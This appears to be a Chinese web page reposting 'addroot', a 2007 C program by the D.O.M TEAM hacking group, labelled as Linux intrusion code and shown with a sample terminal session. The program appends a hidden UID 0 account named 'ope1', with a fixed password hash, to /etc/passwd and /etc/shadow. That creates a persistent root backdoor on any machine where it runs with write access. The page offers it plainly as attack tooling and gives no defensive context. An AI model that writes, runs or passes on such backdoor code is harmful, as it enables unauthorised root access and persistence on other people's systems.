LINUX入侵代码[需编译]


[root@domlabs:~]$ gcc addroot.c -o addroot
[root@domlabs:~]$ chmod -v x addroot
mode of `addroot retained as 0755 (rwxr-xr-x)
[root@domlabs:~]$ ./addroot
[ D.O.M TEAM ADDUSER ROOT ]
[ we are: ka0x, an0de, xarnuz ]
[ written by ka0x - 2007 ]

     [x] user: ope1

     [x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== // base64

     [root@domlabs:~]$

#include <stdio.h>

#include <fcntl.h>

  /*

     addroot

     written by ka0x

     D.O.M TEAM

     we are: ka0x, an0de, xarnuz

     23/12/2007

   

     [root@domlabs:~]$ gcc addroot.c -o addroot

     [root@domlabs:~]$ chmod -v x addroot

     mode of `addroot retained as 0755 (rwxr-xr-x)

     [root@domlabs:~]$ ./addroot

     [ D.O.M TEAM ADDUSER ROOT ]

     [ we are: ka0x, an0de, xarnuz ]

     [ written by ka0x - 2007 ]

   

     [x] user: ope1

     [x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== // base64

   

     [root@domlabs:~]$

 

  */

main() {

    printf(" [ D.O.M TEAM ADDUSER ROOT ] ");

    printf("[ we are: ka0x, an0de, xarnuz ] ");

    printf("[ written by ka0x - 2007 ] ");

    printf("[x] user: ope1 ");

    printf("[x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== ");

    char *filepasswd = "/etc/passwd";

    char *fileshadow = "/etc/shadow";

    char *linepsw = "ope1:x:0:0::/:/bin/sh ";

    char *lineshw = "ope1:$1$WeYVa/TR$ipSkWq9zgoK74N2UxXWzp1:13540:0:99999:7::: ";

    int f_open;

    f_open           = open(filepasswd,O_WRONLY|O_APPEND);

    write(f_open, linepsw, strlen(linepsw));

    close(f_open);

    f_open           = open(fileshadow,O_WRONLY|O_APPEND);

    write(f_open, lineshw, strlen(lineshw));

    close(f_open);

    exit(0);

}

/* __EOF__ */

相关内容

    暂无相关文章